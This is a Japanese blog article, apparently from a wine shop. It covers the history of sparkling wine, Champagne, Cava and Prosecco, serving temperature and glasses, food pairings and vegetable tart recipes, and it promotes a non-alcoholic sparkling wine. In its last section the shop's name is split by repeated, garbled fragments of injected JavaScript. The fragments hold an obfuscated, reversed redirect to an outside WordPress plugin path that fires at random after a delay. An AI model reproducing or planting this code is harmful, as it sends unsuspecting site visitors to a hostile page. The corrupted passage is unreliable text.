クリスマスを盛り上げるスパークリングワインの楽しみ方

12月ももう半ば。街はすっかりクリスマス気分ですね!
さて、クリスマスやお正月などお祝いに欠かせない飲み物といえば、やっぱりスパークリングワイン。
そこで今回は、スパークリングワインの歴史や、美味しく楽しむコツ、スパークリングワインに合うお料理など、スパークリングワインを飲む時に役立つ豆知識をまとめてみました。
また、クリスマスパーティーにピッタリの、スパークリングワインによく合う、お手軽オシャレなタルトのレシピもご紹介します!
◇1分でわかる、スパークリングワインの歴史
スパークリングワインが生まれたのは、フランスのシャンパーニュ地方と言われています。
ワイン生産地の北限に位置し、冷涼なシャンパーニュ。温度管理が難しかったその昔、秋のワインの醸造時に気温が下がり、発酵が十分に進まないままワインがボトルに詰められてしまうことがよくありました。
発酵不十分なワインは、春になって気温が温かくなるとボトルの中で発酵が再スタートし、発生した炭酸ガスで発泡します。こうした偶然から誕生したのがスパークリングワインでした。
失敗ワインとして誕生したはずのスパークリングワインでしたが、グラスの中できらめく泡がたちまち人々の人気を集めます。すると、安定してワインを発泡させる技術が研究されるようになり、スパークリングワインはシャンパーニュ地方の名物となりました。
今でも、スパークリングワインを指して「シャンパン」ということがありますが、もともとはシャンパーニュ地方のワインという意味で、それはこのような歴史に由来するのです。
(現在では、ワイン法により、シャンパーニュ地方以外のスパークリングワインがシャンパン(シャンパーニュ)を名乗ることは禁じられています。)
◇なぜパーティーにはスパークリングワインなの?

その昔、フランスの歴代の国王の戴冠式や受洗式が行われていたのが、シャンパーニュ地方の中心都市・ランスにある大聖堂でした。そして、そこでの祝宴には地元のワインであるシャンパンが供されていたことから、シャンパンはお祝い事に使われるワインというイメージが生まれました。
製造に手のかかるシャンパンは、かつては王族、貴族、富裕層のぜいたく品でしたが、時代が下るにつれ一般の人々にも手に入るようになり、そこから徐々に、お祝い事でシャンパン(スパークリングワイン)を飲む習慣が一般にも定着していったといわれています。
◇各国のスパークリングワインを見てみよう
シャンパーニュ地方以外でも、世界の様々な地域で有名なスパークリングワインが作られています。ここでは世界3大スパークリングワインと呼ばれるワインを見てみましょう。
・シャンパーニュ(シャンパン)
先にも出てきたシャンパーニュ(シャンパン)こそ、世界でもっとも有名なスパークリングワイン。生産地はフランスのシャンパーニュ地方で、瓶内で二次発酵(シャンパーニュ方式)で作られています。ワイン法で定められた厳しい基準を満たした品のみがシャンパーニュと名乗ることを許されているため、ラベルにシャンパーニュの記載があれば品質にはまず間違いないと思ってよいでしょう。瓶内二次発酵でワインが酵母に接触する時間が長いため、トーストやブリオシュのような香りがあり、キリっと辛口なのが特徴です。
・カヴァ(スペイン)
スペイン・バルセロナ近郊のカタルーニャ州で生産されるスパークリングワインがカヴァ。こちらも瓶内で二次発酵させるシャンパーニュ方式で作られており、また、一定の熟成期間が法律で定められているため、味わいは折り紙付きですが、お財布にやさしい低価格なのが魅力です。
・プロセッコ(イタリア)北イタリアのベネト州で作られるスパークリングがプロセッコ。密閉したタンクで短時間で発泡させるためフレッシュな果実の香りを保っており、シャンパーニュやカヴァに比べるとアルコール度が低く、やや甘みがある味わいが特徴です。タンクで大量に生産ができるので価格も手軽なのが嬉しいスパークリング。
また、このような地域名はつかなくても、世界中のワイン生産地でスパークリングワインが作られています。
良質のものを選ぶには、ボトルにMethode Traditionalle (Traditional Method = 伝統的製法) と記載のある、瓶内二次発酵で発泡させたワインがベター。きめ細やかな口当たりと、長く続く発泡が楽しめますよ!
◇温度、グラス、スパークリングワインを美味しく飲むためのポイント
せっかくの高級スパークリングワイン、普通のコップで飲んでしまうのでは、その本当の美味しさを半減させてしまいます。
そこで、スパークリングワインを美味しく楽しむために押さえたい2点をレクチャーします。ポイントは温度とグラスです。
せっかくの高級スパークリングワイン、普通のコップで飲んでしまうのでは、その本当の美味しさを半減させてしまいます。
そこで、スパークリングワインを美味しく楽しむために押さえたい2点をレクチャーします。ポイントは温度とグラスです。
・適温は4-8℃
ワインの最高の味を引き出すために必ずこだわりたいのが温度。
スパークリングワインは温度が高いと、ボトルの中で二酸化炭素が膨張して、開栓時に中味が噴き出すことがあります。開栓直前まで冷蔵庫や氷で冷却しましょう。
また、高い温度ではガスが抜けやすくなり、せっかくのスパークリングワインの特徴である泡を長い時間楽しめなくなります。卓上にワインクーラを準備し、冷やしながら楽しみましょう。ワインクーラがない場合は、ボウルや深めの鍋で代用を。
また、温かいグラスに注ぐと、一気に泡が出てしまうので、グラスも冷やしておくとなお良いです。
・グラスもスパークリングワイン専用を
スパークリングワインを楽しむには、やはりスパークリングワイン専用のグラスが一番。ガスが抜けにくく、また、縦長なため立ち上る美しい泡が楽しめます。少し膨らみのあるタイプのグラスほうが、ワインの香りも十分に堪能できて良いでしょう。
スパークリングワイン用グラスがない場合はワイングラスで代用もOK。ワインが温まる前に飲みきれるよう、白ワイングラスのように、小さめのサイズならなお良しです。
専用グラスがないからといって、使用を避けたいのはタンブラー。タンブラーのように上が開いたグラスでは、ワインの香りを十分に感じることができず、またアルコール感を強く感じてしまいます。また、大きく開いているためガスが抜けやすく、すぐにジュースのような味わいになってしまいますよ。
◇スパークリングワインに合う料理は?パーティーにピッタリなタルトのレシピもご紹介
キリリとした酸味と泡の刺激で、お料理の種類を選ばす美味しくマッチしてしまうのがスパークリングワイン。前菜や野菜類はもちろん、肉料理とも魚料理ともオールマイティーに美味しく楽しめるので、様々な料理がならぶパーティーの時などにとても重宝します!
また、スパークリングワインの味の特徴と一致するお料理と組み合わせても、美味しさをさらに引き出すことができます。
例えば、パチパチはじける泡は、サクサクとした揚げ物と相性ぴったり。キリッとした酸味も、揚げ物の脂っぽさを洗い流してくれますよ。
シャンパンのように発酵に由来する豊かな香りが感じられるスパークリングの場合は、同じ発酵食品のチーズとも好相性です。
今回は、お家で楽しむクリスマス作りたいスパークリングワインにピッタリあうレシピとして、ABCクッキングスタジオの野菜を使ったタルト2種のレシピを動画でご紹介します。
サクサクしたタルトの歯触りはスパークリングワインによくマッチ!まろやかな豆腐クリームやマッシュポテトとの相性も抜群です。作り方も手軽で、ホームパーティーにもピッタリのレシピです。
【ABCクッキングスタジオ開発レシピ】
プチトマトと豆腐クリームのセイボリータルト
オイルサーディンとブロッコリーのセイボリータルト
※料理名をクリックすると、材料・レシピをご覧いただけます
◇「お酒が飲めないけれどシャンパンでお祝いしたい」を叶えるノンアルコール・スパークリングワイン
せっかくのクリスマスや新年、おめでたい日の乾杯なのに、「体質的にアルコールを受け付けなくて」「妊娠中だから」「療養中だから」「年のせいかアルコールに弱くなってしまった」などの理由で、一人ジュースで乾杯・・・というのは寂しいものですよね。
そんな悩みをお持ちの方にお薦めなのがノンアルコール・スパークリングワイン!
当Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで取扱い中のノンアルコール・スパークリングワイン “デュク・ドゥ・モンターニュ”は、本物のワインを真空蒸留法により32℃という低温で蒸留し、ワインに限りなく近いフレーバーを残したまま、アルコールだけを0.0%まで取り除きました。
ノンアルコールとは思えない本格的なワインの風味があるので、飲めない方ご本人だけではなく、お酒が飲めるご家族と一緒にみんなで楽しんでいただくことが可能です!
また、高級志向のボトルとラベルデザインは、まるで本物の高級スパークリングワインを飲んでいる気分を味わっていただけます。
今年の年末年始は、ぜひ皆さんで、ノンアルコール・スパークリングワイン “デュク・ドゥ・モンターニュ”で乾杯☆してくださいね。
